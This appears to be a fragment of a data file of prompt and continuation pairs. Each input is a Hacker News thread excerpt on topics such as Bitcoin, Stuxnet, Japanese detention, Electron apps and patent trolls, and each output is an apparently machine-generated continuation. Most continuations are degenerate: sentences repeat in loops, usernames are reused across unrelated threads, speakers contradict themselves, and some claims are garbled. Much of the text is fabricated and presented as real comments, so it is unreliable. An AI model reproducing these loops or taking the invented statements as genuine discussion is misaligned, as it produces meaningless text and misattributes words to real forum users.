and\nshould be ignored.\n\n~~~\nlexcorvus\n_ill-defined cohort_\n\nThe group I mentioned is precisely defined, and 100% opt-in\u2014it's the set of\nall people who say \"I'm only intoler"} +{"output_text": "-source-linux-users-file-eu-complaint-microsoft\n======\njosteink\nI'm not sure if this is a good idea.\n\nMicrosoft is a company that has been known to sue people for using their\nsoftware.\n\nI'm not sure if this is a good idea.\n\n~~~\njosteink\nI'm not sure if this is a good idea.\n\nMicrosoft is a company that has been known to sue people for using their\n", "input_text": " in 24 hours type rubbish).\n\n------\nvkaku\nMy personal advice is that while learning CS is helpful but University degrees\nare expensive and may not give you a ROI.\n\nThe right course taught by the right person and learnt the right way will. And\noften, I found that some MOOCs have a way better structure and content than\nthe ones I was taught in my University back in the day.\n\nI'd suggest going through them and strengthening your concepts yourself - and\nif you feel all you need is a degree (or) a course that offers you far better\ndiscipline, then go for it.\n\n------\nseanwilson\n> I have, however invested a lot of time learning higher math and advanced\n> computer science topics on my own and I\u2019d like to get a degree, but the idea\n> of having to spending all the time and money going through undergraduate\n> prerequisites feels like a waste for me.\n\nIf you know you can learn it yourself and you've got this far without a\ndegree, why do you want one?\n\n~~~\nIloveHN84\nHigher salary?\n\n~~~\nseanwilson\nGenuine question but after 15 years working experience when is a degree going\nto make a difference when looking to get hired? Does it even make a difference\nafter a couple of years of experience?\n\n------\nbjourne\nYou do not need to be present in class a whole lot in most CS curricula. You\ncan do exercises and homeworks on your own and only need to be present for\nexams and presentations.\n\n \nLinux users file EU complaint against Microsoft - recoiledsnake\nhttp://www.globalpost.com/dispatch/news/thomson-reuters/130326/exclusive-open"} +{"output_text": "wiki/Donation_of_Constantine](https://en.wikipedia.org/wiki/Donation_of_Constantine)\n\n~~~\nomalleyt\nI'm not saying that's what Tacitus is doing. I'm saying that's what Tacitus's\nreaders are doing.\n\n~~~\nbenbreen\nI'm not sure what you're saying. I'm saying that the fact that Tacitus's\nreaders are doing this is a symptom of", "input_text": " the Pompey early in the Civil War, and\nwas one of Caesar's chief opponents during his African campaign.\n\nAs an interesting note, it seems Labienus likely defected from Caesar for two\nreasons:\n\n1\\. At the beginning of the Civil War it looked extremely unlikely Caesar\nwould win.\n\n2\\. Labienus felt as though Caesar took more credit than he ought to have in\nthe Gallic Wars, depriving him of his \"auctoritas\" (sort of prestige) he felt\nhe rightfully deserved.\n\nCaesar's skilled defeat of Pompey and Labienus show his military skill outside\nof his use of good commanders.\n\n~~~\nfapjacks\nI hope you see this after all this time. Do you have a trailhead to lend me so\nI can read about this instance of not having to leave his tent to give\ncommands? I have never heard this before and it's very interesting to me.\n\n------\nomalleyt\nIt's a symptom of postmodernism that nowhere in this text is it even suggested\nthat Tacitus is maybe just, you know, relating the facts about Germancius as\naccurately as he can.\n\nInstead we're sitting here quibbling over what literary fiction trope\n\"Tacitus's Germanicus\" fulfills in his \"story\"\n\n~~~\nbenbreen\nReading texts critically, thinking about the context that produced them, and\ndebating the author's rhetorical strategies has a lot more to do with\nRenaissance humanism than with postmodernism. Simply reading all historical\ntexts with the expectation that the author meant to tell the facts and nothing\nbut leads to the acceptance of frauds like the Donation of Constantine:\n\n[https://en.wikipedia.org/"} +{"output_text": " that Bitcoin's volatility is declining because it's becoming\nmore popular. I don't think that's true. I think it's because Bitcoin is\nbecoming more popular, and thus more people are using it.\n\n3) The OP says that Bitcoin's volatility is declining because it's becoming\nmore popular. I don't think that's true. I think it's because Bitcoin is\nbecoming more popular, and thus more people are using it.\n\n4) The OP says", "input_text": "com/essay/2016/06/26/Rokos_DAO.html)\n\n~~~\ndsr_\nIf an AI can run on a universal Turing machine, then it can run on a Turing-\nequivalent platform like ether.\n\nThat doesn't make it a good or economical idea.\n\n~~~\nubernostrum\nOn the contrary, it's a great solution for AI risk: run the AI on a\nblockchain, and hackers will find plenty of ways to disable it if it starts to\nget out of hand.\n\n------\njavajosh\nA carbon tax on miners could slow down this singularity.\n\n------\nfpgaminer\nSoftware is eating the world.\n\nThose who think a digital currency of some kind _won't_ displace cash are\ngoing to be made fools.\n\nAbout the article... there are a lot of questions here.\n\nI guess the main thrust of the article is that Bitcoin's volatility is\ndeclining, and thus it is becoming more attractive for use as a tool for\nbuying lunch (where lunch is a stand-in for common day-to-day transactions).\nThat hinges on the idea that Bitcoin wasn't attractive for that purpose\nbefore, because its value was too volatile.\n\n1) The graph the article uses to demonstrate that Bitcoin is becoming less\nvolatile seems to indicate, to me, that Bitcoin is just as volatile as it ever\nwas. If I'm reading the graph correctly, the average of volatility is the\nsame, but the std deviation of volatility has been decreasing. In other words,\nBitcoin is just as volatile, but it's more consistently volatile. That's... a\nweird metric to measure. Either I'm reading the graph incorrectly, or OP is.\n\n2) The OP says"} +{"output_text": " they are guilty.\n\n~~~\njessaustin\n_Maybe one way to think of the Japanese justice system is that the trial\nhappens before the defendant is arrested._\n\nI think that's a bit of a stretch. The Japanese system is not a trial system.\nIt's a system of \"justice\" that is not really justice at all.\n\n~~~\n_cs2017_\nI agree that it's not a trial system. But I think it's", "input_text": "am3\nThe real mindfuck here isn't just that Japanese law allows the authorities to\nquestion you during detention (before being charged with anything), all day\nevery day, with no attorney present.\n\nNor is it that they can restrict access to the outside world, only allowing\nyou to speak to family for max 20m a day, with a translator + officer present\nat all times.\n\nNo, the real kicker is that the clock for the 20-30 day detention period\nstarts fresh every time, for each charge they want to investigate. This means\nthat they can essentially keep people in detention for as long as they want by\nhaving a list of charges and \"investigating\" them one at a time.\n\nIf you're used to things like due process, \"give me my phone call\", etc, the\nJapanese justice system is quite difficult to wrap your head around.\n\nI have no idea if Ghosn is guilty of what he is accused of. But there are\nmassive pressures to extract confessions from people in his position. And\nforced confessions reduce the legitimacy of the entire justice system.\n\n------\n_cs2017_\nEdit: I just realized that the nearly 100% conviction rate is only for those\nwho go to trial. A third of the people who are detained are released without\ntrial. So ignore this post: my main assumption (that arrest is similar to\nconviction) was incorrect.\n\n\\---\n\nMaybe one way to think of the Japanese justice system is that the trial\nhappens before the defendant is arrested. After all, the conviction rate is\nnearly 100%, so in some sense the actual trial is just a formality. From that\nperspective, it's not surprising that defendants may be detained without bail\nfor weeks: the system treats them as if"} +{"output_text": ".\n\n~~~\nTerretta\nI'm not sure what you mean by \"non-commercial use\".\n\nIf you're talking about the CC license, then yes, the CC license is free for\nnon-commercial use.\n\nIf you're talking about the Creative Commons search tool, then yes, that's\nfree for non-commercial use.\n\nIf you're talking about the Getty Images option, then yes, that's free for\nnon-commercial use.", "input_text": "\"Pix Store\" if you will. Maybe that's what the stock photo sites are supposed\nto be, but they don't have nearly the inventory.\n\nSorry for the tangent.\n\n~~~\nTerretta\n\"This may make sense for images which are to be used in a commercial context,\nbut for personal use like how I wanted to use the images, it's way too\nexpensive and much too much friction.\"\n\nThat's why Flickr lets you search for Creative Commons images, for which the\nphotographer gives you that personal use permission in advance.\n\n~~~\njs2\nThere are shades of a grey between commercial use and free use which are\nunaddressed.\n\n~~~\nTerretta\nYou think so? I license photos through Creative Commons, and differently\ndepending on the shades of personal to commercial I consider inherent in the\npotential market for a photo.\n\nI find it covers all the shades of commerciality I've considered. Meanwhile,\nfor a purely commercial photographer, the getty images option is there, and\nthose won't come up in the Creative Commons search unless licensed\nappropriately.\n\nThe CC search tool on Flickr is a fantastic tool for finding photos of the\nexact \"shade\" of use you're looking for.\n\n~~~\njs2\nCC photos are all free for non-commercial use, correct? What if you'd like to\nbe compensated, but not at rates that justify the overhead of Getty Images?\nMany of the images I found were not CC licensed, nor did they have a Getty\nImages option. Those are the images I'm referring to.\n\ne.g., go search Flickr for \"drawdy falls\". No results in Getty, no results in\nthe Commons, but a handful of images from photographers that are retaining\nfull copyright"} +{"output_text": "&sr=8-1&keywords=javascript+the+definite+guide)\n\n~~~\njamesbritt\n\"Any experienced programmer should definitely start elsewhere so he can make up\nhis own mind about Crockfords ideas about how programming should be.\"\n\nI think that's a bit of a straw man.\n\nI've read Crockford's book, and I've read Flanagan's book. I've read a few\nother books on the", "input_text": " components -\ndrop-down menus, trees, tabs, etc. But do them without jQuery. It might sound\nlike reinventing the wheel, but learning fundamentals sometimes requires\nretreading worn out paths.\n\n~~~\n4as198sGxV\nSure. Then he will want to kill himself when trying to use of all those\ninferior and mismatched technologies for any kind of complex application\n(achieving crossbrowser support will ensure many nights of fun!). He will then\ngo back to coding server-side where at least you can use sane language and\ntools so you can be as productive as possible. However, he will be thinking\nabout this glimpse of hell for the rest of his career.\n\n------\ndoc4t\n_If you're an experienced programmer looking to learn Javascript, you probably\ncan't do any better than reading Javascript: The Good Parts. It's extremely\nshort, concise, and enjoyable to read. Highly recommended._\n\nAny experienced programmer should definitely start elsewhere so he can make up\nhis own mind about Crockfords ideas about how programming should be. While the\nbook is ok-ish almost half of the material is about Crockfords personal\npreferences for coding style and can be applied to any language.\n\nJavaScript - The Definite Guide by David Flanagan is in my opinion the best\nbook on the subject. No other JS book comes even close in clarity and\nthoroughness.\n\n[http://www.amazon.com/JavaScript-Definitive-Guide-\nActivate-G...](http://www.amazon.com/JavaScript-Definitive-Guide-Activate-\nGuides/dp/0596805527/ref=sr_1_1?ie=UTF8&qid=1333877087"} +{"output_text": ".\n\n------\njstanley\n> The Bitcoin community seems to be doing a pretty good job of destroying\n> itself right now\n\nI don't think that's true.\n\n~~~\njstanley\nI'm not sure why this is being downvoted. I'm not saying that the Bitcoin\ncommunity is doing a good job of destroying itself, I'm saying that the\nBitcoin community is doing a good job of destroying itself _right now_.\n\n~~~", "input_text": " it is the exchanges who's coins are \"stolen\", but still not really.\n\n51% hashing doesn't allow you to `undo exchanges going back as long as you\nwant`. There is a small time frame with exchanges/merches that accept <6 block\nconfirmations that a transaction could be reversed. And if a fork in the chain\nis happens (it does more often than not that 2 blocks get made and 1 is\norphaned,) all other miners switch to the longer chain as soon as a fork is\ndetected.\n\n~~~\namluto\nYou seem to be assuming that, once 6 confirmations have happened, a\ntransaction is set in stone. This isn't true at all. It's true that, once 6\nconfirmations have happened, a transaction is highly unlikely to disappear in\nthe absence of the 51% attack, but the whole point here is that we're assuming\nthat a 51% attack is occurring.\n\n------\ntlrobinson\nThe Bitcoin community seems to be doing a pretty good job of destroying itself\nright now, and I say that as a long time (cautiously optimistic) believer in\nBitcoin.\n\nThe division, infighting, toxic and dogmatic rhetoric, etc make me wonder if\nthere\u2019s an external force attempting to disrupt Bitcoin.\n\nOr perhaps it\u2019s just the inevitable outcome of a leaderless/decentralized\nproject with billions of dollars on the line.\n\n~~~\nmatt_wulfeck\n> _The division, infighting, toxic and dogmatic rhetoric, etc make me wonder\n> if there\u2019s an external force attempting to disrupt Bitcoin._\n\nI would say the force has a name, and it\u2019s \u201cPride\u201d.\n\n~~~\ndeevolution\nActually, I think the force is called natural selection"} +{"output_text": " Mac.\n\n------\njoshuahedlund\nI'm not sure if this is a good thing or not. I'm not sure if it's a good thing\nfor the school to be able to track students' usage of the iPad, or if it's a\ngood thing for students to be able to hack the iPad.\n\n~~~\njlgreco\nI think it is a good thing for the school to be able to track students' usage\nof the iPad", "input_text": " assigned to\nhigh-yield work. Many software engineers at large companies could be rendering\nover $1 million per year in value, but are being held on evaluative Fourth\nQuadrant Work ( [http://michaelochurch.wordpress.com/2013/01/01/fourth-\nquadra...](http://michaelochurch.wordpress.com/2013/01/01/fourth-quadrant-\nwork/) ) while management decides whether or not to trust them with a real\nproject. So there's already a call-option dynamic in place; it's just that\nright now, it works entirely out of employee favor. I want to fix that.\n\n~~~\nyuhong\nI was thinking of something similar for blogging for a while now.\n\n \n\nStudents Find Ways To Hack School-Issued iPads Within A Week - danso\nhttp://www.npr.org/blogs/alltechconsidered/2013/09/27/226654921/students-find-ways-to-hack-school-issued-ipads-within-a-week\n\n======\nbetterunix\nReminds me of the various ways we found to defeat school firewalls when I was\nin high school. At the time we simply took it for granted that those in power\n(i.e. the school itself) were going to try to censor us, and it was our\n\"little secret\" that we could defeat that censorship.\n\nAs an adult I look back at those days and make comparisons with the situation\nin China...\n\n~~~\nCub3\nI was going to say this too, I remember initially using web based proxies like\nproxify and hidemyass until they were all blocked then we figured out the\nblocking system didn't work on a"} +{"output_text": "also a Guava tree in the picture.\n\n------\njrockway\nI'm not sure if this is a good thing or a bad thing. It's a good thing that\nthe malware is being detected, but it's a bad thing that it's being detected\nby the NSA.\n\n~~~\njrockway\nI guess I should have said \"by the NSA and the US government\".\n\n------\njrockway\nI'm not sure if this is a", "input_text": " (and the fact I have not examined StuxNet),\nI'd assume that there is a good chance it has enough logic to determine which\nfactory it is in by pure brute force.\n\nIf the main fan control gives a fairly standard reading, it shouldn't be too\ndifficult figuring out what the particular factory it has infiltrated has\nwired that point to, for example.\n\nAlso, I haven't heard any definitives on what kind of factory this is\ntargeting. I do know that there aren't many companies that develop and design\nhigh tech industrial facilities. Despite StuxNet having infected thousands\n(millions) of personal PCs, it really is only looking for maybe a few dozen or\nso in the world that are of the right type. Combine that with a low number of\nfactory designs, and it could very well have a pre-determined database of how\nits intended targets are wired.\n\n------\nTycho\nIt said the registry key Stuxnet plants to indicate whether a system is\nalready infected has the value 19790509. Then it said an Iranian Jewish\nbusiness man was executed on that date for spying. Also the home directory\nwhere the virus was originally compiled was called Myrtus. Which may contain\nanother clue...\n\n~~~\neli\nI'm not really buying this. You're making a lot of assumptions. That Iran is\nthe target, that the number is a date, that the date refers to that particular\nevent, etc.\n\nThe link between the word \"Myrtus\" and the Old Testament seems _really_\nstrained. It's the name of a plant. It features prominently in Greek mythology\n-- maybe the Greeks did it?\n\n~~~\nacqq\nI also vote for a plant, as the second mentioned name is Guava and there is\n"} +{"output_text": " point of overflowing their\ncart. I don't think they were buying more than they needed, but they were\nbuying more than they could fit in their cart.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that people are buying hand sanitizer, but I think\nit's a bad thing that they're buying it in bulk.\n\nI think it's a good thing that", "input_text": " the public\ntransports to get to the mall) is key to reducing infection.\n\nYes, hand sanitizer/face mask markets are ridiculous right now, but that's to\nbe expected. It's not people being selfish, there's clearly genuine needs for\nit. When there's a fuckton of needs and not enough being produced\u2026 how is it\npeople being selfish that you can't find hand sanitizer at a decent price? All\nthose have been bought.\n\n~~~\ngoblin89\nIf everyone buys only what they need (e.g., if it\u2019s a small personal sanitizer\nbottle, keep 1 in use and 1 in inventory), demand could be spread out and\ncrowds avoided.\n\nThe problem appears to combine habitual shopping for long term (not many have\na 24/7 convenience store within 3 minutes of walking), panicked distrust in\ninfrastructure reliability, and good old tragedy of the commons.\n\nSome countries fare better on first two, but still have the last one (e.g.,\nHong Kong).\n\n~~~\ncortesoft\nThe thing is, normally most people done have ANY hand sanitizer, let alone\ntwo, as you describe.... so when suddenly everyone wants to buy them, there\nisn't enough for everyone to have even two. That doesn't make the people\nbuying them selfish.\n\n~~~\nsjtindell\nBut that\u2019s not what they do, try to buy two or whatever reasonable number. A\nfew people literally fill a shopping cart with toilet paper, water bottles,\nand hand sanitizer, and it\u2019s gone. The problem is one of capacity to match\ndemand within such short time frames.\n\n~~~\nbeatgammit\nI went to Costco and saw people buying up to the"} +{"output_text": " to climate.\n\n~~~\nrmason\nI'm not sure. I've lived in Michigan for years and I've never seen a pothole\nthat bad.\n\n~~~\nwil421\nI\u2019ve lived in Michigan for years and I\u2019ve never seen a pothole that bad.\n\nI\u2019ve lived in Atlanta for years and I\u2019ve never seen a pothole that bad.\n\nI\u2019ve lived in Atlanta for years and I\u2019ve", "input_text": " it in the hole. In this way you can fix the holes on your local\nstreet/commute route without waiting for the city.\n\n~~~\nerr4nt\nWow TIL. I even looked it up and $13 buys you enough cold-patch to fill in a\nfew holes it looks like. Thanks for sharing, if I'm ever bothered by a pothole\nI'll just fill it myself now that I know!\n\n~~~\nacct1771\nThis attitude is how we shift to more self-sustainability and voluntary\ngovernance. Thank you.\n\n------\nbasementcat\nWhile Domino's shareholders are free to run their company the way they wish, I\nwould prefer that they invest their capital toward developing yummy pizza that\nis less unhealthy instead of filling potholes and lobbying against proposed\nrules to post calorie counts, etc.\n\n[https://www.bloomberg.com/news/features/2015-03-03/junk-\nfood...](https://www.bloomberg.com/news/features/2015-03-03/junk-food-s-last-\nstand-the-pizza-lobby-is-not-backing-down)\n\n~~~\njessaustin\nI would have suggested \"filling potholes\" as a better use for their pizza than\n\"eating\"...\n\n------\nrmason\nThey'd have much better success finding a way to improve the ride of their\ndelivery vehicles.\n\nThey could spend their entire 'paving' budget here in Michigan where they're\nheadquartered and it would be barely noticeable.\n\n~~~\nwil421\nIsn\u2019t the pothole problem in Michigan due to climate? In Atlanta, the city\nproper has terrible potholes due"} +{"output_text": " the patent system to force the\ngovernment to do the right thing.\n\n~~~\nchx\nI don't think that's a good idea. The patent system is not broken. It's\nworking as intended.\n\n~~~\nanonsivalley652\nIt's broken because it's not working as intended.\n\n------\njedberg\nI'm not a lawyer, but I'm pretty sure that the patent is invalid.\n\nThe patent is for a method of", "input_text": "------\nredm\nHaving gone through this a number of times, and its never about the validity\nof the patent. These patents are often acquired from defunct companies anyway.\nIf they don\u2019t acquire, they have revshare deals for enforcing.\n\nPatent trolls typically have almost no overhead, just a small office in a\ncheap venue (Marshall Texas) and time.\n\nIts simple math, 1) it\u2019s cheaper to settle out then litigate (by far) so\nboards usually want to settle, and 2) its too expensive to litigate, ie you\ndon't have 1-2 million to fully fight a patent troll.\n\nGood for you for fighting. Ultimately thats what we've done and its the only\nway to stop the Trolls. (Shout out to Lee Cheng formerly from NewEgg)\n\nThere are some patent defense consortiums that you can join that will share\nthe burden if you are sued by a troll making you a much less appealing target.\n\nGood Luck!\n\n~~~\nstreetcat1\nQuestion,\n\nSo do you happen to know if the troll needs to prove that the company violated\na claim, or does the company need to prove that it DID NOT violate the claim?\n\n~~~\nchx\nThis will be fought on an entirely different level: the patent is bogus in the\nfirst place. There's nothing patentable about it.\n\nThat's how you hunt trolls. Merely proving you didn't violate their patent is\nnot helping the next guy (and actually, you might have violated the patent,\nwho knows with these frivolous things). Killing their patent does.\n\n~~~\nanonsivalley652\nThere ought to be a super PAC / legal collective in US whose primary goal is\nto basically hack the system by using"} +{"output_text": " Slack, and it's a\nhorrible experience.\n\n~~~\njacquesc\nI agree, but I use it every day.\n\n------\njason_slack\nI have been using Electron for a few years now. I have a few apps that I use\ndaily. I have a few that I use occasionally. I have a few that I use once in a\nwhile.\n\nI have a few that I use once in a while.\n\n", "input_text": "ron apps are a regression from Java apps. And HotSpot is a little wonder\nof performance, unlike V8\n\n~~~\nmnm1\nSadly, these apps do contain their own JREs. The memory footprint is hundreds\nof megs and they take half a minute to start. Just like Electron apps. I don't\ndeny the tech under the hood (JVM) is wonderful, but the comparison to\nElectron apps is apt.\n\n------\nb123400\nI've worked with companies making apps with electron/nw.js, what strike me\nmost was not the performance or the product itself, but the reason they\ndecided to use electron. The argument is always about development efficiency,\nwhile ignoring the user experience sacrificed. I find it lack of\ncraftsmanship, just kind of sad.\n\nThough, it is true that nontechnical users are unlikely to realise the\ndifference, they probably don't know an app with not many functionality costs\nhundred megabytes. Maybe I am just getting old and grumpy, maybe that's how\nassembly programmers see C programmers.\n\n------\nAvshalom\nWait, where is this explosion of new desktop applications?\n\nAlso isn't it only a lower barrier if you already know html/css/js\n\n~~~\njacquesc\nI'm currently using these Electron Apps every day: Slack, Nylas, VSCode,\nInsomonia, Freeter, Mongobooster\n\nOn a 2015 macbook pro with 16GB of RAM.\n\nThe buggiest and most resource intensive apps I use tend to be the native ones\n(iTunes, Dropbox, BusyCal, Evernote).\n\n~~~\nx0x0\nSlack on the desktop is a hunk of garbage. Sign in to"} +{"output_text": " better to assume the best and assume the worst.\n\n~~~\njrockway\nI don't think it's impossible to know for sure. I think it's impossible to\nknow for sure whether someone read an article or not before posting.\n\n~~~\nGoladus\nI don't think it's impossible to know for sure whether someone read an article\nor not before posting.\n\n------\njrockway\nI think the author is missing the point. The author", "input_text": ". I did that because you didn't\nbother to read the article, but you bothered to comment.\n\nIt's just isn't that simple. His argument for the MacBook Air is that it's in\nthe same form factor, while having incredible battery life and being more\npowerful computationally. Plus, throw in OS X and you have a deal. In a way\nAir is netbook inspired in terms of the form factor, and the it killed the\nnetbook by making the point that you could still pack in impressive features\ninto a form factor that small by conventional standards, while having a decent\nprofit margin.\n\nIn the article, the author makes the point that what really killed the netbook\nwas portable computing (in the form of smart phones and tablets) that packed\nthe same punch and was more intuitive, while maintaining a good enough profit\nmargin for hardware manufacturers to stampede in order to get into the\nsegment.\n\nThat said, I have a netbook, an Acer Aspire One, and it runs Ubuntu 10.10 with\na grin and is quite awesome once you get used to the tiny keyboard...\n\nBesides, I really do think that no one is taking real advantage of modern\ncomputing and you can still write Ruby code on Pentium 2 era PC once you flash\nit and boil it down to the basics. I think that if someone is dedicated then\neven a dumb terminal is enough to write code, why do you need that new found\ncomputational power? This really is an honest question.\n\n~~~\nGoladus\nI downvoted your post because the second sentence attacks the poster rather\nthan the post. It is impossible to you to know for sure whether someone read\nan article or not before posting. Such a guess never adds anything to a\ndiscussion. It is always"} +{"output_text": "? Online encyclopedias.\n\n~~~\nspokey\nI think you're right, but I think you're wrong in the sense that you're\nassuming that the transition from physical to digital encyclopedias is\ninevitable.\n\nI think the transition from physical to digital encyclopedias is inevitable,\nbut I think the transition from physical to digital encyclopedias is not\ninevitable.\n\nI think the transition from physical to digital", "input_text": " new version of Ramamia (to be renamed Genevine).\n\nThere are probably others.\n\n~~~\nspokey\n> Encyclopedias did really well until Wikipedia came along. Encarta was the\n> first sign of trouble, but Wikipedia was the nail in the coffin.\n\nThis is incidental to your comment, but I think your details are wrong in this\nexample.\n\nMultimedia digital encyclopedias replaced physical encyclopedias long before\nWikipedia came along, in fact throughout the 80s and early 90s it is a pretty\nsafe bet that encylopedias on CD-ROM and later DVD significantly outsold the\ndead-tree versions, and by the mid-90s the major brands (at least in the US)\nalready had online versions as well.\n\nEncarta (which was initially a rebranded Funk & Wagnalls encyclopedia) was\njust one example, and a later one at that, of many encyclopedias that were\ntransitioning from print to digital. Encarta doesn't represent some kind of\nparadigm shift in the encyclopedia business, just a large company snatching up\na small player in a market they were trying to penetrate. Interestingly\nenough, Encarta has ceased production, while World Book, Encyclopedia\nBritannica and others are still in business and presumably profitable (for\nnow).\n\nWikipedia was and continues to be a threat to \"traditional\" encyclpedias, but\nnot because they didn't anticipate a transition from physical to digital\npublication.\n\n~~~\njasonlbaptiste\nyup, i didn't want to get into a long extended explanation. My logic is this:\nphysical encyclopedias are toast. What do we use instead of them more often\nand most recently"} +{"output_text": "\\. Yes, it is shown to reduce daytime grogginess.\n\n2\\. Yes, it is shown to reduce daytime grogginess.\n\n~~~\nnaveensundar\nThanks for the answers. I was hoping for a more detailed answer.\n\n------\njoshu\nI'm not sure I understand the appeal of this.\n\nI have a sleep tracker that I use to track my sleep. I don't need a\nsmartphone.\n\n~~~\n", "input_text": " look around the page for a link to a product description, get\nfrustrated, hand edit the url to just 'wakemate.com'.\n\nThere is no sidebar for me reading in firefox. Maybe it is some fancy script\nthat got binned by my various anti-junk plugins.\n\n------\nnaveensundar\nCongrats on shipping on a hardware product! The product seems great. A couple\nof questions... The site says the product is scientific. But the first paper I\nfound after a bit of digging points to the use of Actigraphy which seems to be\njust a method of collecting data (even though you say it is a \"clinically\nproven science\"). The second pdf containing the excerpts does not answer the\nfollowing questions.\n\nThe questions\n\n1\\. Is waking up at the optimal time (light sleep before alarm) shown to\nreduce _daytime_ grogginess rather than just wake-time grogginess?\n\n2\\. Is the continued waking up at the optimal time free of any adverse effects\nin the _long run_? I did some googling to find answers to the above, but\ncouldn't find anything layman readable or substantial. If I have to pay $60\nfor a product, it is really a pain to do the research myself.\n\nSome excerpts\n\n\"subjects were presented a word list 1 min after arousal from different sleep\nstage...\"\n\n\"The most important finding from this study is that sleep inertia reduces\ndecision\u2010making performance for at least 30 min.\"\n\nIf it makes me feel good just after waking up for an hour or so, then is it\nreally that useful?\n\n(Edit: Read the second pdf)\n\n~~~\nspydertennis\nYour initial questions:\n\n1"} +{"output_text": "you are in front of an audience, you will be more likely to notice your\nmistakes and be able to correct them.\n\n9\\. Practice, practice, practice.\n\nPractice your speech until you are comfortable with it. Practice it in front\nof a mirror, practice it with a friend, practice it with a recording, practice\nit with a friend, practice it with a recording, practice it with a friend,\npractice it with a recording, practice it with a", "input_text": "\n5\\. Interact with the audience.\n\nReality check: who are you speaking to? Your audience. They are here to learn\nfrom you, so it\u2019s best to know your audience and involve them in your speech.\nFor example, this can be accomplished by doing simple tasks such as asking\nquestions \u2014 \u201craise your hand if\u2026\u201d Follow tip #5, and you\u2019ll keep the audience\nrefreshed and engaged.\n\n6\\. Pull yourself out of a tailspin.\n\nDuring the speaker training, I choked up during my improv and forgot the name\nof an organization I was supposed to describe. After five seconds of misery,\nthe name came back to me and I made my recovery by graciously and humorously\naccepting the fact I made my mistake. Surprisingly, the audience felt that\nthis contributed to the power of the speech. Apparently some speakers even\nplan out things to fail during their speech so they could similarly pull\nthemselves out of a tailspin. This tactic is supposed to connect the audience\nto the speaker and create this bond because the speaker becomes more human,\ndown-to-earth, and on the same plane as the audience.\n\n7\\. Don\u2019t hold back your energy.\n\nFor unknown reasons, many equate speaking with less energy to increased\ntechnical expertise. That actually doesn\u2019t make you look more sophisticated,\nthat just makes you look like a poor speaker. Release that energy and don\u2019t\nhold back! Capture your audience\u2019s attention with all the power you have to\nmake your speech more effective.\n\n8\\. Critique yourself and have others critique you.\n\nThis may seem self-explanatory, but when you are practicing your speech, take\nturns with others to point out positives and negatives in your speech. When\n"} +{"output_text": " find.\n\n------\njamesjyu\nI think the reason I read more is because I'm more likely to find something\ninteresting. I'm more likely to find something that I can't find on the web.\n\nI'm also more likely to find something that I can't find in a book.\n\n------\njamesjyu\nI think the reason I read more is because I'm more likely to find something\ninteresting. I'm more likely to find something", "input_text": ".\"\n\nEveryone who I knew liked to read while growing up still likes to read. Some\npeople don't, and thats fine too. What annoys me is people who don't like to\nread, but feel like they should, and therefore go looking for a scapegoat. And\nsomething tells me that some people have struggled to read and felt inadequate\nabout that throughout history.\n\n------\ngregrata\nI've found the opposite, if you'll allow that eBooks are real books. To me,\nit's a golden age of books - with self publishing and eBooks, there are more\nbooks coming out ever day than ever before. I personally read AT LEAST two\nbooks a week (usually not technical - I enjoy sci-fi). I've always been a avid\nreader, but generally had to re-read a lot (I have about 5k physical books, to\nsupport that habit). Theses days, I'm ALWAYS reading new books. The selection\nis amazing, a lot of the books are very good!\n\n------\nyason\nOne reason I've observed is that the quality of printed text isn't necessarily\nthat good. I can't not let go of a good book, I'm only bounded by the time of\nday and night: if I weren't, I'd read it on one sitting. Or an interesting\ntextbook that I can't wait to get back to even if it's slow to read because\nit's just so interesting.\n\nBut there are lots of books that just aren't that good in comparison to really\ninteresting articles on the internet. There are a even a lot more articles, so\nthe reader must develop the skill of skimming quickly and deciding early\nwhether there's any meat in it. But good articles are really good and they're\neasy to"} +{"output_text": "\njamesjyu\nI've found that the best way to learn is to read a lot. I read a lot of\ntechnical books, fiction, and non-fiction. I also read a lot of books on\nlearning.\n\nI've found that the best way to learn is to read a lot. I read a lot of\ntechnical books, fiction, and non-fiction. I also read a lot of books on\nlearning.\n\n------\njamesjyu", "input_text": " help your logic skills. I tend to find\nas I do this I will be either thinking of what is going on and trying to think\nahead, or I would try to imagine what I would do instead. Do this practice has\nallowed me to vividly remember a book I read years ago.\n\n _Nonfiction:_ For nonfiction I use two techniques that go hand in hand. The\nfirst is the same as for fiction, the only difference is that I will stop a\nbit more often. The second skill is to try to explain what I just read to\nmyself, as if explaining to someone else. This is a way for me to test if I\nreally took in the information I just read, if I find that I can't I will go\nback and read until I can.\n\n _Summary:_ I believe that if you make an effort to do this, one; you will\nfind the books WAY more interesting, and two; you will find you brain actually\nmulling over what you are reading and focusing on it instead of just quickly\nreading and moving on.\n\n------\ncsnewb\nTo improve information retention you should exercise your \"information\nretrieval\". Basically, take a sheet of paper, write down the name of a topic\nyou're learning or a book you're reading, and then write down as much\ninformation as you can remember about it. Compare your notes against your\nprevious attempts to identify what you need to focus on studying/remembering\nmore. Repeat this exercise until you can comfortably recall all the main\nideas.\n\nTwo books I highly recommend that can help you with improving reading and\nlearning skills: 1) \"Make It Stick\" by Peter C. Brown 2) \"How To Read A Book\"\nby Mortimer J. Adler.\n\nGood luck!\n\n------"} +{"output_text": "s?\n\n~~~\nimglorp\nI'm not sure if it's the emulator or the site. I'm on a Mac, and the back\nbutton works fine.\n\n------\njedberg\nI'm not sure if this is a bug or a feature, but I was able to capture the\nqueen with my knight.\n\n------\njedberg\nI was able to capture the queen with my knight.\n\n------\njedberg\n", "input_text": "'minimal chess' programs trace their lineage (and mostly their rules)\nback to ZX Chess [0] for the ZX81, which was a significant accomplishment, and\nremains notable in the history of personal computing, cropping up from time to\ntime in lists of the greatest program ever written. It says this at the top of\nthe page.\n\nIt is not a naive prototype. I'd be very surprised if the programmer couldn't\nplay chess. It's a part of computing history. And the competition to reduce\nthe number of bytes is > 35 years old.\n\n[0]\n[https://en.wikipedia.org/wiki/1K_ZX_Chess](https://en.wikipedia.org/wiki/1K_ZX_Chess)\n\n------\nguru_meditation\nMoved white queen in front of black (computer) king under the cover of the\nwhite knight. Computer went ahead and captured my queen using its king.\n\nWas tempted to capture the king with my knight, closed browser window instead\n:)\n\n------\ncomnetxr\nI played a short game; I captured black's queen on black's back row with my\nqueen, in which the black king could have taken my queen or moved out of\ncheck. Instead, black moved a different piece (invalid given that it is in\ncheck). So I captured black's king...\n\n------\nimglorp\nSide question about this site: Does anyone know why the FF back button (Alt\nleft arrow) and Page-up/down is disabled and why this would be desirable?\n\n~~~\nshakna\nSeems to be a consequence of JSSpeccy, the Spectrum emulator embedded into the\nsite. Perhaps to let the emulator grab those sorts of 